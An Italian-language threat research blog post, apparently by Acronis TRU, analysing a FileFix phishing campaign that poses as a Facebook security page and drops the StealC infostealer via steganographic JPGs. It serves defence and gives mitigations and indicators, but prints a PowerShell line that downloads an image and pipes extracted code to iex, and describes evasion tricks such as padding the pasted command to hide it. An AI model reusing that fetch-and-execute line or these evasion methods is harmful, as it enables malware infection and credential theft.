FileFix in circolazione! La nuova campagna FileFix va oltre il PoC e sfrutta la steganografia

Autore: Eliad Kimhy

• Primo utilizzo sofisticato di FileFix oltre il PoC: i ricercatori TRU di Acronis hanno scoperto un raro esempio in circolazione di una campagna FileFix attiva nel primo esempio di un attacco di questo tipo che non si attiene strettamente alla progettazione del proof of concept (PoC) originale.

• Aumento degli attacchi e delle varianti di *Fix: negli ultimi mesi si è assistito a un aumento degli attacchi ClickFix di oltre il 500% e allo sviluppo di nuove varianti di ClickFix, come FileFix. FileFix è stato teorizzato e sviluppato come PoC all'inizio di luglio dal ricercatore Mr. d0x.

• Infrastruttura di phishing sofisticata: la campagna osservata utilizza un sito di phishing multilingue altamente convincente (ad esempio, una falsa pagina di sicurezza di Facebook), con tecniche di anti-analisi e offuscamento avanzato per eludere il rilevamento.

• Steganografia utilizzata per nascondere codice dannoso: l'attacco sfrutta in modo esclusivo la steganografia incorporando sia uno script PowerShell di seconda fase sia payload eseguibili e crittografati all'interno di immagini JPG apparentemente innocue. Queste immagini vengono scaricate dal payload iniziale e analizzate per estrarre ed eseguire i componenti dannosi, rendendo la rilevazione più difficile.

• Payload a più fasi con offuscamento ed elusione a più livelli: la catena di infezione è costruita attorno a un sistema di distribuzione di payload a più fasi, che inizia con un comando PowerShell altamente offuscato che frammenta e codifica i suoi componenti per evitare la rilevazione. Le fasi successive decriptano, decomprimono ed eseguono ulteriori payload con tecniche quali la costruzione di comandi basati su variabili, la codifica Base64 e gli URL crittografati, tutte progettate per massimizzare la l'invisibilità e aggirare i controlli di sicurezza.

• Il payload finale distribuisce l'infostealer StealC: la fase finale implementa un caricatore (scritto in Go, con controlli VM/sandbox e crittografia delle stringhe) che esegue l'infostealer StealC, prendendo di mira browser, portafogli di criptovaluta, app di messaggistica e credenziali cloud. StealC è inoltre in grado di caricare malware aggiuntivi.

• Rapida evoluzione e targeting globale: la campagna si è evoluta rapidamente nelle ultime due settimane, con l'osservazione di molteplici varianti e payload. Un tasso di crescita delle rilevazioni legate alla campagna indica che l'attacco potrebbe essere in accelerazione. L'infrastruttura e il supporto multilingue indicano una strategia di targeting globale, con potenziali vittime in numerosi Paesi.

All’inizio della scorsa settimana, i ricercatori della Acronis Threat Research Unit (TRU) hanno scoperto un raro esempio di attacco FileFix in circolazione, una nuova variante del noto vettore di attacco ClickFix. L’attacco scoperto non solo sfrutta FileFix ma, per quanto ne sappiamo, è il primo esempio di attacco di questo tipo che non rispetta rigorosamente la progettazione del proof of concept (PoC) originale demonstrated by Mr. d0x di luglio 2025. Inoltre, l'attacco presenta un sito di phishing sofisticato e un payload, in molti modi più avanzato di quanto ci aspettassimo dagli attacchi ClickFix o FileFix visti in passato (con alcune eccezioni notevoli).

Questa ricerca non è solo un esempio affascinante di quanto rapidamente un PoC possa trasformarsi in un vettore di attacco (e di quanto sia importante rimanere aggiornati su questo tipo di ricerca), ma è anche un formidabile esempio di attacco *Fix, sia ClickFix che FileFix. L’autore dell’attacco ha dimostrato un notevole investimento nella tecnica, progettando con cura l’infrastruttura di phishing, la distribuzione del payload e gli elementi di supporto per massimizzare l’elusione dei sistemi di sicurezza e l’impatto. Questo rappresenta una delle istanze di attacco *Fix più sofisticate che il nostro team abbia osservato fino ad oggi.

Molte delle tecniche usate nell'attacco possono essere utilizzate in modo efficace per qualsiasi attacco ClickFix o FileFix e quindi devono essere prese in considerazione da chi si occupa dell'aumento degli attacchi *Fix. Tra queste, un sito di phishing che incorpora meccanismi anti-analisi quali la rinominazione e la minificazione delle funzioni, nonché esche multilingue, insieme a un payload PowerShell personalizzato che recupera uno script di seconda fase e un eseguibile da un'immagine JPG tramite steganografia, e offusca la propria attività attraverso l'uso di variabili. Le ultime tre tecniche sono piuttosto insolite nel contesto di ClickFix e FileFix e, in particolare, non abbiamo riscontrato che la steganografia fosse distribuita direttamente tramite un payload *Fix.

In questo blog, vi offriamo un'analisi completa e dettagliata dell'attacco, per aiutare i team di sicurezza a rilevare e mitigare gli attacchi *Fix.

AllFix o *Fix è il nome collettivo dato a un gruppo di tecniche di attacco che include ClickFix, FileFix, PromptFix e altre varianti, che sembrano essere emerse a un ritmo allarmante negli ultimi mesi.

L'idea principale alla base di questo tipo di tecnica è quella di indurre la vittima a fare il lavoro sporco dell'hacker; in particolare, alla vittima viene chiesto di copiare e incollare il payload dell'hacker nel proprio terminale (o in altre parti applicabili del sistema operativo, come la finestra di dialogo Esegui di Windows) e quindi eseguirlo di sua spontanea volontà. In sostanza, in termini di Cyber Security è l'equivalente di un borseggiatore che chiede gentilmente alla sua vittima se può consegnargli il portafoglio, le chiavi di casa e dell'auto invece di fare tutto il possibile per borseggiarla.

Il motivo per cui qualcuno potrebbe compiere un'azione del genere dipende dal tipo di attacco e dal social engineering utilizzato. Il tipo più comune di attacco *Fix, ClickFix, chiede all'utente di eseguire un falso test CAPTCHA, ma invece di una serie infinita di semafori e biciclette da identificare, alle vittime viene data una semplice istruzione: premere Win+R per aprire la finestra di dialogo Esegui di Windows, incollare un comando con Ctrl+V (spesso nascosto dietro un testo come “Non sono un robot”) e premere Invio. “Che semplicità meravigliosa”, potrebbe pensare l’utente, pochi istanti prima che il suo computer venga infettato da un programma di furto di informazioni, ransomware o altro.

Per quanto improbabile possa sembrare come vettore di attacco, ClickFix è cresciuto esponenzialmente negli ultimi mesi ed è stato utilizzato in attacchi di vario grado di complessità e intento, da semplici stealer a Stati nazionali che hanno diffuso trojan di accesso remoto. Vorrei poter dire anche che questi tipi di attacchi si basano rigorosamente su tecniche di social engineering altamente sofisticate, ma non è sempre così. Alcuni si limitano a dire: “Ehi, utente, apri il terminale e incolla questo comando per... ehm... dimostrare di essere umano”. È una cosa intelligente? No. Funziona? Sembra di sì. Forse si tratta di un altro esempio di come creare una soluzione a un problema (misure anti-bot e bot), che poi porta a un altro problema (misure anti-bot così complicate ed estenuanti che incollare un comando nel terminale sembra accettabile o appare come un approccio più semplice al confronto).

FileFix è un po' diverso dal solito ClickFix e, nel nostro caso, si tratta anche di un attacco di social engineering piuttosto convincente. Un attacco FileFix rinuncia al tentativo di indurre l'utente ad aprire il terminale o la finestra di dialogo Esegui tramite collegamenti della tastiera Win + R o Win + T. Al contrario, un attacco FileFix sfrutta la funzionalità di caricamento file di HTML per creare un pulsante di caricamento. In situazioni normali, quando si preme il pulsante in un ambiente Windows, viene aperta una finestra di Esplora file che consente all'utente di caricare i file su un sito. Tuttavia, nel caso di un attacco FileFix, l'utente viene ingannato e indotto a incollare un comando dannoso nella barra degli indirizzi di Esplora file, che verrà quindi eseguito in locale sulla macchina dell'utente. Questo offre agli hacker un vantaggio potenziale rispetto a un attacco ClickFix tradizionale, di cui parleremo più avanti nel blog.

Come accennato, l'attacco ruota attorno a un sito di phishing. Sulla base di altri esempi di ClickFix e di indizi contestuali tratti dal sito di phishing stesso, è probabile che la vittima venga indirizzata al sito di phishing tramite una e-mail di phishing. In questa e-mail, è anche probabile che l'hacker si spacci per un addetto alla sicurezza di Facebook, informando la vittima dell'imminente chiusura dell'account e sollecitandola ad agire visitando il sito di phishing.

Una volta sul sito di phishing, la vittima si trova di fronte a una brutta prospettiva: il suo account è stato segnalato e verrà sospeso entro sette giorni (l'hacker fornisce persino la data entro la quale l'account verrà sospeso). E cosa ancora peggiore, se non viene intrapresa alcuna azione entro 180 giorni, l'account verrà rimosso. A questo punto, la vittima ha la possibilità di presentare ricorso direttamente dalla pagina stessa. Che fortuna!

Quando la vittima sceglie di fare ricorso, le viene comunicato che è stato condiviso un file PDF dal team di Meta. Per visualizzare il file e le relative istruzioni per presentare ricorso alla sospensione, viene chiesto alla vittima di “aprire Esplora file” e incollare il percorso del file PDF. Ma, ahimè, “Esplora file” che apre è una finestra di caricamento file e il percorso che incolla nella barra degli indirizzi è un payload. Al termine dell'esecuzione, il payload genererà un avviso con il messaggio “Nessun file trovato” e, quando viene premuto, il pulsante Continua nella pagina genererà un errore simile, con il messaggio “Completa i passaggi”. La vittima si trova quindi bloccata senza file e senza la possibilità di continuare a presentare ricorso.

Nel frattempo, in background, il payload esegue uno script PowerShell a più fasi. Questo script scarica un'immagine, la decodifica in una seconda fase e quindi utilizza sia lo script che la stessa immagine per decriptare e scaricare un eseguibile, che a sua volta rilascia un ulteriore shellcode. Le sezioni seguenti illustrano nel dettaglio l'intera catena di attacco.

Nel corso della nostra indagine, è emerso chiaramente che gli autori di questa minaccia hanno profuso un grande impegno in ogni aspetto dell'attacco, non solo per i vari script offuscati e i payload crittografati, ma anche per il sito di phishing che ne costituisce l'origine.

In questa occasione, FileFix fa una delle sue prime comparse al di fuori di un PoC. Altri esempi sono comparsi nelle settimane successive alla pubblicazione del blog originale di Mr. d0x sulla tecnica, ma per la maggior parte sembrano essere esperimenti o test; uno è una copia conforme del PoC di Mr. d0x e l'altro sembra essere una leggera variazione del PoC. Entrambi gli esempi sono interessanti e degni di nota, ma la tecnica è a malapena distinguibile da un normale sito ClickFix.

Tuttavia, una volta liberato dalla tradizionale procedura CAPTCHA utilizzata da molti siti ClickFix, FileFix può esprimere tutto il suo potenziale. La scelta di una pagina di sicurezza di Facebook costituisce un espediente di social engineering molto efficace. E sebbene non manchino gli attacchi ClickFix che sfruttano in modo simile pretesti creativi come questo, FileFix sembra essere meno invasivo e quindi potrebbe rivelarsi più persuasivo. Dopotutto, molti utenti potrebbero non aver mai aperto una finestra di terminale, ma chi non ha mai utilizzato almeno una volta la finestra di caricamento file?

Dal punto di vista tecnico, FileFix presenta diverse differenze rispetto a ClickFix. Da un lato, la finestra di caricamento file richiesta da FileFix è probabilmente disponibile per la maggior parte degli utenti e nella maggior parte degli ambienti, mentre a un utente può essere impedito di accedere al proprio terminale o di eseguire una finestra di dialogo, riducendo così l'impatto di ClickFix. Dall'altro lato, uno degli aspetti che rende ClickFix così difficile da individuare è che viene generato da Explorer.exe tramite il comando Esegui o direttamente da un terminale, mentre con FileFix il payload viene eseguito dal browser web utilizzato dalla vittima, per cui è molto più probabile che venga individuato durante un'indagine o da un prodotto di sicurezza. A parte questo, le due tecniche sono piuttosto simili.

La parte interessante (ovvero dannosa) del sito di phishing è scritta in JavaScript e presenta molti elementi di offuscamento, nonché alcune funzionalità destinate ad aumentare la portata e il successo dell'attacco.

A prima vista, il sito sembra completamente normale e, infatti, quando è apparso per la prima volta sul nostro radar, potremmo averlo scambiato per un falso positivo: non c'era nessun testo CAPTCHA, un segno inequivocabile di ClickFix. Ma un esame più attento ha dato risultati sorprendenti. In effetti, questo sito era dannoso e l'intero script era stato minificato, ridotto a 12 righe circa delle circa 18.000 presenti nello script.

Il sito presenta un pesante offuscamento ed è stato scritto implementando più tecniche anti-analisi. I nomi delle variabili e delle funzioni sono costituiti da combinazioni casuali di lettere e il codice è frammentato e distribuito in tutto lo script. Il codice morto e le deviazioni abbondano. Non fraintendeteci: sebbene questa non sia una prassi standard per i siti ClickFix, si tratta di una tecnica piuttosto comune per il malware basato su JavaScript. Tuttavia, nel nostro caso, l'offuscamento si è rivelato difficile da decifrare, costringendoci a esaminare migliaia di righe di codice, variabili e funzioni (come probabilmente era nelle intenzioni degli autori del sito). Questo rende l'esperienza impegnativa e non possiamo essere sicuri di aver scoperto tutto ciò che questo codice ha in serbo.

Tuttavia, siamo riusciti a trovare traduzioni in 16 lingue, tra cui arabo, russo, hindi, giapponese, polacco, tedesco, spagnolo, francese, malese, urdu e altre. La creazione del sito è stata un lavoro imponente e l'intento è chiaro: massimizzare la portata dell'attacco.

Abbiamo scoperto diverse varianti dello stesso sito, tutte attive nelle ultime due settimane, ciascuna con payload, tecniche, file e pretesti di social engineering leggermente diversi. Esaminando le versioni precedenti del sito, si può seguire l'evoluzione dell'attacco, sia dal punto di vista del social engineering che da quello tecnico. Sembra che, anche in questo caso, il gruppo dietro all'attacco stia lavorando lentamente per perfezionare la propria metodologia.

Il payload viene distribuito come singola riga di codice: un comando PowerShell parzialmente offuscato in Base64 e frammentato in modo simile al codice JavaScript utilizzato per il sito di phishing. Si tratta di un metodo di distribuzione insolitamente complesso per un attacco *Fix. La maggior parte dei payload che abbiamo osservato era in chiaro, alcuni mostravano un offuscamento parziale, ma nessuno era così complesso. Nel contesto di un attacco FileFix, si tratta di un approccio unico e insolitamente complesso, che costituisce un interessante argomento di ricerca.

Di tutte le fasi di questo attacco, lo script iniziale del payload è la nostra preferita. Mentre la vittima affronta la tragedia dell'eliminazione del proprio account Facebook, e mentre incolla il comando dannoso nella barra degli indirizzi di caricamento del file, aspettando diligentemente di vedere il “Rapporto sull'incidente” che farà luce sul procedimento di ricorso, diverse cose accadono in background, e tutto inizia con un'immagine.

Immaginate una scena idilliaca: una bella casa in un prato, margherite in primo piano; il primo piano di una lumaca su foglie umide di rugiada. Ogni payload (di quelli che abbiamo documentato finora) inizia come una di queste immagini. Ma questi file JPG non vengono caricati per puro spirito artistico. Ogni immagine contiene al suo interno sia uno script PowerShell di seconda fase, sia un payload eseguibile. Ogni immagine è leggermente diversa e i payload differiscono tra le varie versioni del sito. Le immagini sembrano essere state tutte generate dall'AI (anche se non possiamo esserne certi). Sembra assurdo che gli autori dell'attacco abbiano chiesto di “creare una scena serena di una casa nella prateria” solo per iniettarvi del codice malevolo. Ma, in fondo, questi sono i tempi in cui viviamo.

Ma facciamo un passo indietro. Il payload iniziale, quello che l'utente sta volontariamente inserendo nella barra degli indirizzi di caricamento del file ed eseguendo, si presenta più o meno così:

Alcuni punti da notare:

1.      Per ingannare l'utente facendogli credere di incollare il percorso di un file PDF di “creazione di report di problema”, l'hacker ha posizionato alla fine del payload una variabile che contiene molti spazi e il percorso falso alla fine. In questo modo, nella barra degli indirizzi appare solo il percorso del file e nessuno dei comandi dannosi effettivi. In un attacco ClickFix medio, questo viene fatto utilizzando il simbolo # al posto di una variabile, che viene preso da PowerShell come commento dello sviluppatore. Il vantaggio involontario è che chiunque abbia impostato i propri rilevamenti per cercare il simbolo “#” da ClickFix probabilmente non se ne accorgerà.

2.      Si tratta di un comando notevolmente grande, molto più grande del payload medio di ClickFix. Non solo include un payload codificato in Base64, ma ha anche suddiviso tutte le classi e i namespace utilizzati nello script in diversi componenti più piccoli e li ha archiviati come variabili. Queste variabili vengono quindi richiamate per ricostruire il comando completo. Ciò migliora notevolmente l'evasività dello script di fronte a una rilevazione che si basa su modelli per determinare se qualcosa è dannoso.

3.      L'hacker utilizza BitBucket per distribuire l'immagine utilizzata nell'attacco. Come dimostra l'evoluzione dei payload delle ultime due settimane, gli hacker hanno iniziato a utilizzare BitBucket come hosting principale, anziché i domini dannosi da loro controllati, come elprogresofood[.]com. Questo consente loro di eludere ulteriormente la rilevazione e di evitare di dover continuare a registrare e gestire domini dannosi.

Come se non bastassero steganografia, offuscamento e frammentazione dei comandi, l'hacker ha deciso di cifrare l'URL in alcune varianti del payload. L'URL è crittografato tramite XOR, utilizzando una chiave precodificata nel payload e codificata come byte esadecimali. L'URL crittografato risultante viene decriptato e codificato durante il runtime.

$p_fist=-join($env:TEMP,'\zd746f1ce1c0.jpg'); Invoke-WebRequest -Uri $u -Method Get -OutFile $p_fist -ErrorAction Ignore; $image_bytes=$ifr.Invoke($p_fist); $p_bytes=$image_bytes[1101253..($image_bytes.Length-1)]; $e.GetString($p_bytes)|iex;

Qui, lo script scarica l'immagine nella cartella Temp della vittima e poi estrae uno script PowerShell di seconda fase archiviato a un indice specifico nel file di immagine. Una volta estratto e convertito in stringa, lo script viene eseguito.

Lo script di seconda fase ha il compito di estrarre dall'immagine un payload dannoso. Torniamo quindi alla nostra amata scena pastorale per recuperare il payload. A differenza dello script di seconda fase, che è archiviato nell'immagine in testo normale (e quindi rilevabile, anche se il file di immagine stesso non è dannoso e potrebbe non generare alcun avviso), i payload eseguibili sono crittografati all'interno dell'immagine. Lo script di seconda fase inizia impostando due funzioni: una per decriptare i file tramite RC4 e l'altra per decomprimere i file tramite gzip.

Una volta definite queste funzioni, lo script estrae il/i file:

Lo script è in grado di distribuire più di un file e può distribuire sia DLL che eseguibili. Una volta forniti gli indici per il punto di inizio e di fine di ciascun file all'interno dell'immagine, lo script estrae e decripta ciascun file, identifica l'estensione e quindi esegue ciascun file nel modo appropriato (in modo che, ad esempio, non esegua un file DLL). Ciascun file EXE viene eseguito tramite conhost.exe e quindi eliminato una volta trascorsi 12 minuti. Infine, viene visualizzato un finto messaggio di errore per informare la vittima che è “Impossibile aprire il file!”.

Questo ci riporta al punto di partenza. Dal punto di vista dell'utente, tutto ciò che è accaduto è che ha incollato il percorso del file, come richiesto. Quindi, pochi istanti dopo, riceve un messaggio di errore che segnala l'impossibilità di aprire il file. Sul sito di phishing, non può andare avanti finché non ha aperto il file. È praticamente bloccato. Nel frattempo, dietro le quinte, un payload è stato rilasciato e caricato sulla propria macchina.

L'hacker potrebbe avere diverse ragioni per suddividere lo script in due fasi. Per esempio, l'inserimento della seconda fase nel file immagine consente all'hacker di modificare i file rilasciati senza dover cambiare il payload sul sito di phishing. Un altro motivo potrebbe essere legato all'elusione: riducendo le dimensioni del comando codificato in Base64, si attira meno l'attenzione.

Nel complesso, questa catena di script è unica nel panorama dei payload *Fix. Questo approccio garantisce all'autore dell'attacco una maggiore invisibilità rispetto al solito, dimostrando un chiaro intento di elusione e assicurando che il payload sia sufficientemente flessibile da consentire la diffusione di un'ampia gamma di malware in diversi scenari. La steganografia utilizzata è interessante in molti modi e non è comune, soprattutto nel contesto degli attacchi *Fix. Offre all'hacker un ulteriore livello di invisibilità, poiché i difensori potrebbero non sospettare che venga scaricato un file immagine e ciò potrebbe non far scattare alcun campanello d'allarme. Tutto ciò rende l'infezione complessa e sofisticata, soprattutto se confrontata con altri attacchi che sfruttano ClickFix e FileFix. 

E ora passiamo al payload, il fiore all'occhiello, il pezzo forte! Beh, in questo caso, forse non proprio. Non fraintendeteci: si tratta di un caricatore interessante, scritto in Go e che utilizza sia controlli VM che tecniche di offuscamento e, infine, decriptazione e caricamento dello shellcode in memoria. Questo shellcode decomprime quindi StealC, un popolare e potente programma per il furto di informazioni che può anche essere utilizzato come downloader e caricatore in caso di necessità. Non è male, ma speravamo in qualcosa di più e forse arriverà. Nelle ultime due settimane abbiamo visto il payload evolversi, crescere e cambiare e, per ora, la metodologia di attacco sembra continuare a modificarsi.

Ma andiamo con ordine. Una volta eseguito dallo script di seconda fase, il payload inizia un test di sandboxing per verificare se è in esecuzione in una VM. Questo si rivela essere un controllo piuttosto basilare: il payload decripta un elenco di nomi di schede grafiche comunemente usate in ambienti VM e di sandboxing. Successivamente, richiama la funzione EnumDisplayDevicesA e verifica ciascun dispositivo rispetto all'elenco delle schede grafiche in blacklist. Per nostra fortuna, questo controllo può essere facilmente aggirato.

A proposito, ogni stringa eseguita dal caricatore è crittografata, compresi i nomi di ogni chiamata API. Il caricatore ha diverse funzioni dedicate a ottenere i nomi delle chiamate API come EnumDisplayDevicesA, NtAllocateVirtualMemory e così via. Ironia della sorte, l'unica cosa non crittografata (almeno al momento della stesura di questo articolo) sono proprio i nomi delle funzioni che decriptano e archiviano i nomi delle chiamate API nella memoria, opportunamente denominate getNtAllocateVirtualMemory, getEnumDisplayDevicesA e così via. Non è azzardato pensare che si tratti di un lavoro in corso, poiché gli autori dell'attacco lavoreranno certamente per migliorare le funzionalità di questo caricatore in futuro e, forse, per associare un payload diverso.

Infine, una volta superato (o aggirato) il controllo della VM, il caricatore decripta e carica la shellcode che porta all'infezione da parte di StealC. Quest'ultimo, a sua volta, raccoglie informazioni dall'ambiente dell'utente, tra cui password, informazioni sui browser web, famose applicazioni di gioco e chat e dati sulle criptovalute, e le invia all'hacker.

Nel nostro esame, StealC tenta di rubare informazioni da un lungo elenco di programmi: browser come Chrome, FireFox, Opera, Explorer, Tencent QQ, Quark, UC Browser, Sogou Explorer e Maxthon. Cerca portafogli di criptovalute come Bitcoin, Dogecoin, Ravencoin, Daedalus, Mainnet, Blockstream Green, Wasabi Wallet, Ethereum, Electrum, Electrum-LTC, Ledger Live, Exodus, Electron Cash, MultiDoge, Jaxx Liberty, Atomic Wallet, Binance, Coinomi e Guarda. Inoltre, cerca informazioni da applicazioni di messaggistica, VPN e database come Thunderbird, Telegram, Discord, Tox, Pidgin, Ubisoft Game Launcher, Battle.net, OpenVPN e ProtonVPN, nonché chiavi di Azure e AWS.

Durante la nostra indagine abbiamo scoperto diverse iterazioni dell'attacco, risalenti a due settimane fa. Attraverso queste iterazioni, possiamo tracciare l'evoluzione sia della tecnica di social engineering che degli aspetti più tecnici dell'attacco. Forse questo è indicativo di un hacker che sta testando un'infrastruttura che intende utilizzare in futuro, oppure si tratta di iterazioni aggiunte all'attacco nel corso della campagna, man mano che l'hacker impara ad adattarsi e a migliorare.

In due settimane abbiamo visto il payload evolversi. Da un singolo payload PowerShell in fase unica, che includeva l'intero script, comprese le parti che estraggono e decriptano il payload eseguibile, lo abbiamo visto trasformarsi nello script a due fasi che vediamo oggi, e poi evolversi ulteriormente per includere un elenco potenziale di file .exe e .dll da rilasciare. Durante tutto questo tempo, tuttavia, e fin dall'inizio, la steganografia è stata un ingrediente chiave dell'attacco. L'ultima iterazione dell'attacco sembra caricare l'intero script della prima fase da un file .log ospitato su Bitbucket, mentre il resto dell'attacco rimane invariato.

Anche i payload eseguibili sono cambiati. Gli attacchi precedenti distribuivano binari offuscati OLLVM invece del caricatore di shellcode in Go che abbiamo descritto.

Infine, anche l'aspetto di social engineering dell'attacco è leggermente cambiato: in origine il pretesto era legato al caricamento del documento d'identità da parte dell'utente per evitare la cancellazione dell'account e il file che veniva chiesto di visualizzare conteneva semplicemente le istruzioni su come caricare il documento d'identità sul sito. Nelle versioni successive, questo è stato sostituito da un documento che descriveva in dettaglio le presunte violazioni della vittima, anche se, stranamente, era stata mantenuta la richiesta di caricare il documento d'identità.

Questo implica un'infrastruttura in evoluzione, che continua a perfezionare l'uso di FileFix e del relativo script in due fasi, rimanendo al contempo abbastanza flessibile da poter rilasciare qualsiasi payload sulla macchina della vittima. Continueremo a cercare di tracciare questa minaccia nella speranza di saperne di più in futuro.

Un'analisi delle segnalazioni di VirusTotal (VT) relative ai file e ai siti di phishing associati a questo attacco suggerisce che la campagna non sia limitata a un singolo Paese o a una singola area geografica. Anche se non definitiva, l'analisi rivela segnalazioni di strumenti e siti di phishing in VT provenienti da Stati Uniti, Bangladesh, Filippine, Tunisia, Nepal, Repubblica Dominicana, Serbia, Perù, Cina, Germania e da altri Paesi. Questo, insieme alle traduzioni in varie lingue presenti sul sito di phishing, potrebbe indicare che l'attacco è destinato a colpire le vittime in tutto il mondo.

Anche l'identità dell'hacker è difficile da stabilire. Abbiamo scoperto che l'indirizzo C2 principale, 77[.]90[.]153[.]225, si trova in Germania. Tuttavia, questo fatto da solo non è sufficiente per determinare con precisione l'identità o la posizione dell'hacker. Le tecniche utilizzate e la complessità della distribuzione del payload, che include più fasi, steganografia, offuscamento e crittografia, indicano un hacker molto sofisticato e organizzato.

Come già accaduto con ClickFix, che è passato dalla fase di PoC a quella degli attacchi in circolazione, e che negli ultimi mesi ha visto crescere la sua popolarità, anche con FileFix si sta verificando la stessa tendenza: dalla fase di PoC a quella della campagna in circa due mesi. Non solo: l'attacco è distribuito in modo estremamente sofisticato, con una miriade di tecniche di offuscamento e anti-analisi che gli consentono di passare inosservato e di ottenere il massimo impatto.

Mentre continuiamo a osservare l'evoluzione della campagna, continueremo anche a cercare sviluppi nell'infrastruttura, nella metodologia e nel payload dell'attacco, cercando di ottenere qualche indizio sull'identità degli autori. Dato questo attacco e il suo intelligente utilizzo di FileFix ci chiediamo come evolverà l'uso di FileFix in futuro e se riuscirà a soppiantare o superare ClickFix come tecnica di attacco. Fino ad allora, continueremo a tracciare questa campagna e altre simili e a fornire raccomandazioni che dovrebbero aiutare i team di sicurezza a difendersi.

I clienti Acronis XDR sono protetti dall'attacco. Acronis XDR rileva l'attacco sia al momento dell'esecuzione del payload di PowerShell, sia al momento dell'avvio dell'eseguibile del payload.

Per quanto riguarda la gestione di questo attacco e di FileFix in particolare, vengono in mente due forti raccomandazioni.

La prima è l'istruzione. Negli ultimi anni, gli utenti sono diventati sempre più consapevoli degli attacchi di phishing, in particolare quelli condotti tramite documenti allegati. Affinché gli attacchi *Fix non diventino un punto cieco nella consapevolezza degli utenti riguardo agli attacchi di phishing, dobbiamo iniziare a istruirli su questo tipo di attacchi e includerli nella formazione aziendale dedicata. In questo modo, gli utenti dovrebbero almeno riflettere prima di seguire questo tipo di istruzioni. La formazione dovrebbe concentrarsi, in particolare, sull'uso degli appunti, un elemento comune degli attacchi *Fix, e gli utenti dovrebbero essere messi in guardia su qualsiasi sito web che richieda loro di incollare qualcosa in qualsiasi parte del loro sistema operativo.

Il secondo consiglio è bloccare il percorso di esecuzione dell'attacco. I team di sicurezza devono monitorare e, se possibile, impedire l'esecuzione di PowerShell, CMD, MSIEXEC o MSHTA che si avvia come processo figlio di qualsiasi browser web sulla macchina. Questa misura non dovrebbe causare troppa interruzione operativa alle normali attività aziendali, ma impedirà il lancio di questo attacco.

Un'altra possibile tecnica di prevenzione potrebbe essere quella di prendere di mira qualsiasi immagine scaricata tramite un comando PowerShell. Se il download dell'immagine può essere impedito o se l'immagine può essere messa in quarantena abbastanza rapidamente, l'attacco verrà fermato prima che il payload venga rilasciato.

70AE293EB1C023D40A8A48D6109A1BF792E1877A72433BCC89613461CFFC7B61

06471E1F500612F44C828E5D3453E7846F70C2D83B24C08AC9193E791F1A8130

08FD6813F58DA707282915139DB973B2DBE79C11DF22AD25C99EC5C8406B234A

2654D6F8D6C93C7AF7B7B31A89EBF58348A349AA943332EBB39CE552DDE81FC8

FD30A2C90384BDB266971A81F97D80A2C42B4CEC5762854224E1BC5C006D007A

1D9543F7C0039F6F44C714FE8D8FD0A3F6D52FCAE2A70B4BC442F38E01E14072

1801DA172FAE83CEE2CC7C02F63E52D71F892D78E547A13718F146D5365F047C

7022F91F0534D980A4D77DF20BEA1AE53EE02F7C490EFBFAE605961F5170A580

B3CE10CC997CD60A48A01677A152E21D4AA36AB5B2FD3718C04EDEF62662CEA1

77[.]90[.]153[.]225

facebook[.]meta-software-worldwide[.]com

facebook[.]windows-software-downloads[.]com

facebook[.]windows-software-updates[.]cc

facebook[.]windows-software-updates[.]com

elprogresofood[.]com

mastercompu[.]com

thanjainatural[.]com

Bitbucket[.]org/pibejiloiza/

Bitbucket[.]org/brubroddagrofe/

Bitbucket[.]org/creyaucuronna-4413/

Grabify[.]link/5M6TOW